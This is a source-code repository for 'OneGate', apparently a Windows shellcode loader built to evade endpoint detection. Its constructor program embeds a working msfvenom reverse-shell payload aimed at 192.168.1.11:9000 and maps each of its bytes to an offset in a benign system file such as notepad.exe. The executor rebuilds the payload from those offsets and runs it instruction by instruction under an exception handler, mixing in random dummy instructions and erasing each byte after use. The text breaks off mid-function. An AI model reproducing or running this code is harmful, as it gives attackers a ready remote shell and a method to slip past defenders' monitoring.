├── Constructor ├── Constructor.vcxproj ├── Constructor.vcxproj.filters ├── Constructor.vcxproj.user └── constructor.c ├── Executor ├── Executor.vcxproj ├── Executor.vcxproj.filters ├── Executor.vcxproj.user ├── calc.c └── rev.c ├── OneGate.sln ├── README.md └── pictures ├── 2_JS188188658-1141921000.jpg ├── constructor.png ├── mde_dashboard.png └── rev_shell_connect.png /Constructor/Constructor.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | Win32Proj 24 | {ac507b99-156f-4280-bc0b-77b4057a3624} 25 | Constructor 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v143 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v143 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v143 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v143 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | Level3 76 | true 77 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 78 | true 79 | 80 | 81 | Console 82 | true 83 | 84 | 85 | 86 | 87 | Level3 88 | true 89 | true 90 | true 91 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 92 | true 93 | 94 | 95 | Console 96 | true 97 | true 98 | true 99 | 100 | 101 | 102 | 103 | Level3 104 | true 105 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 106 | true 107 | 108 | 109 | Console 110 | true 111 | 112 | 113 | 114 | 115 | Level3 116 | true 117 | true 118 | true 119 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 120 | true 121 | 122 | 123 | Console 124 | true 125 | true 126 | true 127 | 128 | 129 | 130 | 131 | 132 | 133 | 134 | 135 | -------------------------------------------------------------------------------- /Constructor/Constructor.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | -------------------------------------------------------------------------------- /Constructor/Constructor.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -------------------------------------------------------------------------------- /Constructor/constructor.c: -------------------------------------------------------------------------------- 1 | #define _CRT_SECURE_NO_WARNINGS 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | // ------------------- DO NOT EDIT ABOVE HERE -------------------------------------------- // 10 | // Insert the payload generated by msfvenom into a const unsigned char Payload[] as per below 11 | 12 | 13 | //msfvenom -p windows/x64/exec CMD=calc.exe -f csharp 14 | //const unsigned char Payload[] = { 15 | // 0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51, 16 | // 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 17 | // 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72, 18 | // 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 19 | // 0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 20 | // 0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B, 21 | // 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 22 | // 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44, 23 | // 0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41, 24 | // 0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 25 | // 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1, 26 | // 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44, 27 | // 0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44, 28 | // 0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 29 | // 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59, 30 | // 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41, 31 | // 0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48, 32 | // 0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D, 33 | // 0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5, 34 | // 0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF, 35 | // 0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 36 | // 0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89, 37 | // 0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00 38 | //}; 39 | 40 | //msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.11 LPORT=9000 -f csharp 41 | const unsigned char Payload[] = { 42 | 0xfc,0x48,0x83,0xe4,0xf0,0xe8, 43 | 0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48, 44 | 0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48, 45 | 0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a, 46 | 0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c, 47 | 0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41, 48 | 0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b, 49 | 0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01, 50 | 0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0, 51 | 0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6, 52 | 0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41, 53 | 0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45, 54 | 0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0, 55 | 0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0, 56 | 0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e, 57 | 0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20, 58 | 0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9, 59 | 0x57,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33, 60 | 0x32,0x00,0x00,0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0, 61 | 0x01,0x00,0x00,0x49,0x89,0xe5,0x49,0xbc,0x02,0x00,0x23,0x28, 62 | 0xc0,0xa8,0x01,0x0b,0x41,0x54,0x49,0x89,0xe4,0x4c,0x89,0xf1, 63 | 0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,0x68, 64 | 0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff, 65 | 0xd5,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0, 66 | 0x48,0x89,0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea, 67 | 0x0f,0xdf,0xe0,0xff,0xd5,0x48,0x89,0xc7,0x6a,0x10,0x41,0x58, 68 | 0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,0x99,0xa5,0x74,0x61, 69 | 0xff,0xd5,0x48,0x81,0xc4,0x40,0x02,0x00,0x00,0x49,0xb8,0x63, 70 | 0x6d,0x64,0x00,0x00,0x00,0x00,0x00,0x41,0x50,0x41,0x50,0x48, 71 | 0x89,0xe2,0x57,0x57,0x57,0x4d,0x31,0xc0,0x6a,0x0d,0x59,0x41, 72 | 0x50,0xe2,0xfc,0x66,0xc7,0x44,0x24,0x54,0x01,0x01,0x48,0x8d, 73 | 0x44,0x24,0x18,0xc6,0x00,0x68,0x48,0x89,0xe6,0x56,0x50,0x41, 74 | 0x50,0x41,0x50,0x41,0x50,0x49,0xff,0xc0,0x41,0x50,0x49,0xff, 75 | 0xc8,0x4d,0x89,0xc1,0x4c,0x89,0xc1,0x41,0xba,0x79,0xcc,0x3f, 76 | 0x86,0xff,0xd5,0x48,0x31,0xd2,0x48,0xff,0xca,0x8b,0x0e,0x41, 77 | 0xba,0x08,0x87,0x1d,0x60,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a, 78 | 0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28, 79 | 0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13, 80 | 0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5 81 | }; 82 | 83 | // ------------------- DO NOT EDIT BELOW HERE -------------------------------------------- // 84 | 85 | BOOL BinToBytes(IN PBYTE filePath, OUT SIZE_T* sFileSize, OUT PBYTE* buffer) { 86 | 87 | FILE* file = NULL; 88 | SIZE_T bytesRead = NULL; //for comparing to fileSize to ensure all bytes are read 89 | SIZE_T fileSize = NULL; //size of file being read 90 | PBYTE fileBuffer = NULL; //buffer to hold the bytes 91 | 92 | //open file 93 | file = fopen(filePath, "rb"); 94 | if (!file) { 95 | printf("[!] Error opening file. fopen failed with error %d\n", GetLastError()); 96 | return FALSE; 97 | } 98 | 99 | //get size of file 100 | fseek(file, 0, SEEK_END); //put file seeker at end of file 101 | fileSize = ftell(file); //ftell returns the current position of the seeker in bytes. As it is at the end it tells us the size of the file 102 | rewind(file); //put seeker back to the beginning in preparation for fread below 103 | printf("[i] The size of %s is: %zu bytes\n\n", filePath, fileSize); 104 | 105 | //write bytes to buffer 106 | fileBuffer = malloc(fileSize); 107 | bytesRead = fread(fileBuffer, 1, fileSize, file); 108 | if (bytesRead != fileSize) { 109 | printf("[!] Error reading bytes from file. fread returned error %d\n", GetLastError()); 110 | fclose(file); 111 | free(buffer); 112 | return FALSE; 113 | } 114 | 115 | *sFileSize = fileSize; 116 | *buffer = fileBuffer; 117 | 118 | //cleanup 119 | if (file) { 120 | fclose(file); 121 | } 122 | 123 | 124 | return TRUE; 125 | } 126 | 127 | int main(int argc, char* argv[]) { 128 | 129 | if (argc < 2) { 130 | printf("\nUsage: constructor.exe [path to target file]\nExample: constructor.exe C:\\Windows\\System32\\ntdll.dll\n"); 131 | return -1; 132 | } 133 | 134 | PBYTE bFilePath = argv[1]; //stores the path to the target file 135 | PBYTE bFileBuffer = NULL; //stores the bytes of the target file 136 | SIZE_T sFileSize = NULL; //size of target file 137 | 138 | //Get all the bytes of the target file 139 | BinToBytes(bFilePath, &sFileSize, &bFileBuffer); 140 | 141 | //for iterating through the Payload array. Keeps track of where we are in the payload array 142 | int payloadPosition = 0; 143 | 144 | //new array to store positions 145 | printf("[i] Size of msfvenom calc payload is: %d bytes\n\n", sizeof(Payload)); 146 | unsigned int Position[sizeof(Payload)]; 147 | 148 | //iterate through the bytes of the target program and compare them to the byte we want in the shellcode 149 | //payloadPosition keeps track of where we are in the payload array 150 | //i is reset to the beginning every time we successfully find a byte 151 | for (long i = 0; i < sFileSize; i++) { 152 | 153 | if (bFileBuffer[i] == Payload[payloadPosition] && payloadPosition < sizeof(Payload)) { 154 | Position[payloadPosition] = i; 155 | //uncomment this if you want to print the original payload bytes 156 | //printf("%02x (at %d)\n", bFileBuffer[i], i); 157 | printf("%02x ,", bFileBuffer[i]); 158 | payloadPosition++; 159 | i = 0; 160 | } 161 | 162 | } 163 | 164 | //error handling if it is not able to find a particular byte of the shellcode in the target program 165 | if (payloadPosition < sizeof(Payload)) { 166 | printf("\n\nUnable to find byte %02x in file %s\n", Payload[payloadPosition], bFilePath); 167 | return -1; 168 | } 169 | 170 | printf("\n\nconst unsigned int Positions[] = {\n\t"); 171 | 172 | int count = 0; 173 | 174 | //print our array with the position of each byte in the target program 175 | for (int i = 0; i < (sizeof(Position) / sizeof(Position[0])); i++) { 176 | 177 | //make the printing pretty 178 | if (i == sizeof(Position) / sizeof(Position[0]) - 1) { 179 | printf("%d", Position[i]); 180 | continue; 181 | } 182 | 183 | if (i != 0 && i % 16 != 0) { 184 | printf("%d, ", Position[i]); 185 | continue; 186 | } 187 | 188 | if (i % 16 == 0) { 189 | printf("\n\t%d, ", Position[i]); 190 | continue; 191 | } 192 | 193 | count++; 194 | } 195 | 196 | printf("\n};\n\n"); 197 | 198 | //Zydis stuff to determine number of instructions 199 | ZydisDisassembledInstruction instruction; 200 | ZyanUSize offset = 0; 201 | 202 | count = 0; 203 | 204 | printf("const unsigned int bytesPerLine[] = {\n"); 205 | while (ZYAN_SUCCESS(ZydisDisassembleIntel(ZYDIS_MACHINE_MODE_LONG_64, NULL, Payload + offset, sizeof(Payload) - offset, &instruction))) { 206 | //while (ZYAN_SUCCESS(ZydisDisassembleIntel(ZYDIS_MACHINE_MODE_LONG_COMPAT_32, NULL, Payload + offset, sizeof(Payload) - offset, &instruction))) { 207 | 208 | //make the printing pretty 209 | if (count % 16 == 0) { 210 | printf("\n"); 211 | printf("\t"); 212 | } 213 | 214 | //print the number of bytes in the instruction 215 | printf("%d, ", instruction.info.length); 216 | 217 | count++; 218 | 219 | offset += instruction.info.length; 220 | } 221 | printf("\n};\n"); 222 | 223 | 224 | return 0; 225 | } 226 | -------------------------------------------------------------------------------- /Executor/Executor.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | Win32Proj 24 | {e309ef7c-30d2-4f7d-b203-fa86a692e6c8} 25 | Executor 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v143 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v143 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v143 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v143 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | Level3 76 | true 77 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 78 | true 79 | 80 | 81 | Console 82 | true 83 | 84 | 85 | 86 | 87 | Level3 88 | true 89 | true 90 | true 91 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 92 | true 93 | 94 | 95 | Console 96 | true 97 | true 98 | true 99 | 100 | 101 | 102 | 103 | Level3 104 | true 105 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 106 | true 107 | 108 | 109 | Console 110 | true 111 | 112 | 113 | 114 | 115 | Level3 116 | true 117 | true 118 | true 119 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 120 | true 121 | 122 | 123 | Console 124 | true 125 | true 126 | true 127 | 128 | 129 | 130 | 131 | true 132 | 133 | 134 | false 135 | 136 | 137 | 138 | 139 | 140 | -------------------------------------------------------------------------------- /Executor/Executor.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | Source Files 23 | 24 | 25 | -------------------------------------------------------------------------------- /Executor/Executor.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -------------------------------------------------------------------------------- /Executor/calc.c: -------------------------------------------------------------------------------- 1 | #define _CRT_SECURE_NO_WARNINGS 2 | 3 | #include 4 | #include 5 | 6 | // ------------------- DO NOT EDIT ABOVE HERE -------------------------------------------- // 7 | // Insert the Position[] and the bytesPerLine[] generated by the constructor below 8 | // Make sure to point bFilePath to the same file used by the constructor 9 | 10 | PBYTE bFilePath = "C:\\Windows\\System32\\notepad.exe"; //the file the constructor used to build the arrays 11 | 12 | //msfvenom -p windows/x64/exec CMD=calc.exe built from notepad.exe 13 | const unsigned int Positions[] = { 14 | 15 | 2320, 1035, 1083, 1140, 276, 488, 296, 3, 3, 3, 1654, 2590, 1654, 256, 224, 2590, 16 | 2278, 1035, 2299, 1369, 99, 1035, 1033, 224, 350, 1035, 1033, 224, 476, 1035, 1033, 224, 17 | 82, 1035, 1033, 84, 256, 1035, 1355, 1582, 581, 581, 1500, 2299, 497, 1035, 2299, 296, 18 | 441, 2000, 88, 265, 281, 2837, 82, 1654, 351, 497, 117, 1654, 61, 351, 2458, 2347, 19 | 224, 1654, 2590, 1035, 1033, 224, 82, 1033, 799, 2000, 1035, 61, 401, 1033, 337, 568, 20 | 3, 3, 3, 1035, 1426, 296, 96, 86, 1035, 61, 401, 256, 1033, 1035, 476, 108, 21 | 1033, 24, 82, 1068, 61, 401, 5633, 2278, 1035, 12, 497, 1654, 1033, 1661, 568, 1035, 22 | 61, 148, 1500, 2299, 497, 1035, 2299, 296, 441, 1654, 351, 497, 117, 1654, 61, 351, 23 | 1674, 289, 102, 1111, 75, 4, 75, 120, 354, 257, 1438, 3008, 102, 264, 1134, 108, 24 | 1033, 24, 120, 1068, 61, 401, 473, 1654, 1033, 737, 1035, 108, 1033, 24, 1439, 1068, 25 | 61, 401, 1654, 1033, 8, 568, 1035, 61, 401, 1654, 1134, 1654, 1134, 3349, 2243, 1, 26 | 1654, 1134, 1654, 2243, 1654, 1, 1035, 1083, 156, 82, 1654, 224, 12, 289, 1134, 1654, 27 | 2243, 1, 1035, 1033, 657, 2119, 1045, 12, 12, 12, 1477, 1035, 66, 61, 3, 3, 28 | 3, 3, 3, 3, 3, 1035, 1100, 1100, 61, 61, 3, 3, 1654, 66, 2299, 1033, 29 | 85, 3767, 12, 4055, 2561, 289, 2029, 1310, 119, 1654, 66, 5742, 130, 5662, 1999, 12, 30 | 4055, 1035, 1083, 1051, 1570, 2000, 202, 265, 119, 337, 134, 289, 102, 1044, 2561, 2032, 31 | 129, 84, 85, 10386, 3, 2243, 1654, 1053, 1562, 12, 4055, 91, 88, 763, 91, 3 32 | }; 33 | 34 | const unsigned int bytesPerLine[] = { 35 | 36 | 1, 4, 5, 2, 2, 1, 1, 1, 3, 5, 4, 4, 4, 5, 3, 3, 37 | 1, 2, 2, 2, 4, 3, 2, 1, 2, 4, 3, 3, 6, 3, 2, 3, 38 | 1, 3, 4, 3, 2, 3, 4, 3, 3, 3, 1, 4, 3, 2, 2, 5, 39 | 3, 2, 1, 4, 3, 5, 4, 3, 4, 3, 2, 2, 1, 1, 1, 2, 40 | 2, 2, 4, 2, 2, 1, 2, 1, 3, 5, 1, 10, 7, 6, 2, 5, 41 | 6, 2, 4, 2, 2, 3, 2, 5, 2, 1, 3, 2, 3, 2, 42 | }; 43 | 44 | // ------------------- DO NOT EDIT BELOW HERE -------------------------------------------- // 45 | 46 | //extra bytes at the end of calc paylaod that need to be manually inserted 47 | const unsigned char second_last[] = { 0x63, 0x61, 0x6c }; 48 | const unsigned char last[] = { 0x63, 0x00 }; 49 | 50 | //array of instructions from which random instruction execution is pulled 51 | //Also used by writeMemoryBlock() function to fill memory block on first pass 52 | const unsigned char instruction[21][3] = { 53 | {0x48, 0x89, 0xD8}, 54 | {0x48, 0xFF, 0xC0}, 55 | {0x49, 0x89, 0xC4}, 56 | {0x49, 0x39, 0xC4}, 57 | {0x48, 0x31, 0xC0}, 58 | {0x49, 0xFF, 0xCC}, 59 | {0x49, 0xFF, 0xCC}, 60 | {0x48, 0xFF, 0xC3}, 61 | {0x48, 0xFF, 0xC8}, 62 | {0x48, 0x01, 0xCB}, 63 | {0x49, 0x29, 0xC9}, 64 | {0x48, 0x39, 0xC3}, 65 | {0x4D, 0x31, 0xD2}, 66 | {0x48, 0x31, 0xC0}, 67 | {0x48, 0xFF, 0xC1}, 68 | {0x48, 0xFF, 0xC9}, 69 | {0x4D, 0x31, 0xD2}, 70 | {0x48, 0x39, 0xC3}, 71 | {0x49, 0x01, 0xCC}, 72 | {0x48, 0x01, 0xCB}, 73 | {0x4D, 0x31, 0xD2} 74 | }; 75 | 76 | DWORD64 bytesPerLineTracker = 0; //this keeps track of where we are in the bytesPerLine array 77 | DWORD64 payloadPosition = 0; //this is a tracker for where we are in the Payload Array 78 | int sizeOfBytesPerLine = (sizeof(bytesPerLine) / sizeof(bytesPerLine[0])); 79 | 80 | PVOID baseAddress = NULL; //base address of the payload 81 | DWORD64 upperBound = NULL; //the upper bound of the payload (end of allocated memory page) 82 | PVOID dummyAddress = NULL; 83 | 84 | BOOL FirstRun = TRUE; //used for the first time the VEH runs 85 | 86 | DWORD64 oldRIP = NULL; //position of the RIP on the previous instruction so it can zero out that memory 87 | DWORD64 nextRIP = NULL; //the RIP where the next valid instruction will be executed from 88 | DWORD64 currentRIP = NULL; //the RIP where the valid instruction was executed so that the dummy instruction can be executed from the same place 89 | 90 | CONTEXT ctx = { .ContextFlags = CONTEXT_CONTROL }; //saves the thread context so it can be resoted after dummy instructions 91 | 92 | PBYTE pBullshitBuffer = NULL; //used to store the bytes that are overwritten by the next instruction so they can be written back 93 | SIZE_T bytesInBullshitBuffer = 0; //stores the number of bytes to write back 94 | PBYTE pDummyWriteBuffer = NULL; //used to store the bytes that the dummy instruction generator overwrites so they can be written back 95 | int sizeDummyWriteBuffer = 0; //stores the number of bytes to write back 96 | 97 | BOOL doingDummy = FALSE; //this keeps track of whether we are in the process of doing a dummy instruction loop 98 | //so that it does not try and execute a dummy instruction loop in the middle of another 99 | //dummy instruction loop because this breaks the program 100 | 101 | 102 | BOOL CreateDummyCode() { 103 | 104 | PBYTE PayloadBuffer = malloc(sizeof(BYTE) * 16 * 20); 105 | 106 | //choose how many instructions we are going to use for the dummy code 107 | int numberOfInstructions = (rand() % 19) + 1; 108 | printf("Using %d instructions\n\n", numberOfInstructions); 109 | int tracker = 0; 110 | 111 | //choose the instructions 112 | for (int i = 0; i < numberOfInstructions; i++) { 113 | int chosenInstruction = (rand() % 19) + 1; 114 | printf("Chosen instruction number: %d\n", chosenInstruction); 115 | for (int j = 0; j < 3; j++) { 116 | PayloadBuffer[tracker] = instruction[chosenInstruction][j]; 117 | printf("%02x \n", PayloadBuffer[tracker]); 118 | tracker++; 119 | } 120 | } 121 | 122 | //add INT3 breakpoint at the end 123 | PayloadBuffer[tracker] = 0xCC; 124 | 125 | //show the instructions 126 | printf("The chosen instructions are:\n"); 127 | for (int j = 0; j < tracker + 1; j++) { 128 | printf("%02x, ", PayloadBuffer[j]); 129 | } 130 | printf("\n\n"); 131 | 132 | //save what was originally there so it can be restored 133 | sizeDummyWriteBuffer = tracker + 1; 134 | pDummyWriteBuffer = malloc(sizeof(BYTE) * 16 * 20); 135 | memcpy(pDummyWriteBuffer, dummyAddress, sizeDummyWriteBuffer); 136 | 137 | //write new dummy instruction 138 | memcpy(dummyAddress, PayloadBuffer, tracker + 1); 139 | } 140 | 141 | //function to fill the allocated memory block with random instructions - used on the first pass only 142 | BOOL writeMemoryBlock(PVOID baseAddress) { 143 | DWORD64 writeOffset = 0; 144 | 145 | while (writeOffset < 4093) { //write offset is one whole memory block (4096 bytes) minus the size of one instruction (3 bytes) 146 | //choose a random instruction 147 | int chosenInstruction = (rand() % 19) + 1; 148 | memcpy((DWORD64)baseAddress + writeOffset, instruction[chosenInstruction], 3); 149 | 150 | writeOffset += 3; 151 | } 152 | 153 | } 154 | 155 | BOOL BytesToBin(int positionNumber, int numberOfInstructions, PBYTE* bPayloadBuffer) { 156 | 157 | PBYTE filePath = bFilePath; 158 | 159 | FILE* file = NULL; 160 | SIZE_T bytesRead = 0; //for comparing to fileSize to ensure all bytes are read 161 | SIZE_T fileSize = NULL; //size of file being read 162 | PBYTE PayloadBuffer = NULL; //buffer to hold the bytes - max 16 bytes in one instruction 163 | 164 | PayloadBuffer = malloc(sizeof(BYTE) * 16); 165 | 166 | //open file 167 | file = fopen(filePath, "rb"); 168 | if (!file) { 169 | printf("[!] Error opening file. fopen failed with error %d\n", GetLastError()); 170 | return FALSE; 171 | } 172 | 173 | //iterate through file and find the bytes in position number for the number of instructions required 174 | for (int i = 0; i < bytesPerLine[numberOfInstructions]; i++) { 175 | fseek(file, Positions[positionNumber + i], SEEK_SET); 176 | fread(&PayloadBuffer[i], sizeof(byte), 1, file); 177 | printf("%02x ", PayloadBuffer[i]); 178 | bytesRead++; 179 | } 180 | printf("\n"); 181 | 182 | //make sure it read correctly 183 | if (bytesRead != bytesPerLine[numberOfInstructions]) { 184 | printf("[!] An error occurred reading the bytes: Error %d\n", GetLastError()); 185 | fclose(file); 186 | return FALSE; 187 | } 188 | 189 | //cleanup 190 | if (file) { 191 | fclose(file); 192 | } 193 | 194 | *bPayloadBuffer = PayloadBuffer; 195 | 196 | printf("\n"); 197 | 198 | return TRUE; 199 | } 200 | 201 | LONG CALLBACK BreakpointHandler(PEXCEPTION_POINTERS ExceptionInfo) { 202 | 203 | ExceptionInfo->ContextRecord->EFlags |= (1 << 8); 204 | 205 | if (FirstRun == TRUE) { 206 | //they should already be 0 but just double checking 207 | bytesPerLineTracker = 0; 208 | payloadPosition = 0; 209 | 210 | //write the extra bytes at the end of calc paylaod that need to be manually inserted 211 | memcpy((DWORD64)baseAddress + 0x10B, second_last, 3); 212 | memcpy((DWORD64)baseAddress + 0x10E, last, 2); 213 | 214 | FirstRun = FALSE; 215 | } 216 | 217 | if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION) { 218 | printf("\nGot an exception violation error :(\nRun the program again\n"); 219 | //return EXCEPTION_CONTINUE_EXECUTION; 220 | return EXCEPTION_CONTINUE_SEARCH; 221 | } 222 | 223 | //used to deal with the end of the execution of dummy instructions 224 | if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_BREAKPOINT) { 225 | 226 | //set the CONTEXT back to where it is supposed to be to continue shellcode execution 227 | memcpy(ExceptionInfo->ContextRecord, &ctx, sizeof(CONTEXT)); 228 | 229 | printf("The RIP is now back at: %p\n", ExceptionInfo->ContextRecord->Rip); 230 | printf("Continuing shellcode exection\n"); 231 | 232 | //zero out dummy memory 233 | memcpy(dummyAddress, pDummyWriteBuffer, sizeDummyWriteBuffer); 234 | 235 | //dummy instruction loop complete 236 | doingDummy = FALSE; 237 | 238 | ExceptionInfo->ContextRecord->EFlags |= (1 << 8); 239 | 240 | return EXCEPTION_CONTINUE_EXECUTION; 241 | } 242 | 243 | //if we are executing a dummy instruction ignore the single stepping and move on - the end of the dummy instruction is signlled by an INT3 244 | if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP && doingDummy == TRUE) { 245 | return EXCEPTION_CONTINUE_EXECUTION; 246 | } 247 | 248 | 249 | if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP && doingDummy == FALSE) { 250 | 251 | //single step execution is disabled each run so reset it 252 | ExceptionInfo->ContextRecord->EFlags |= (1 << 8); 253 | 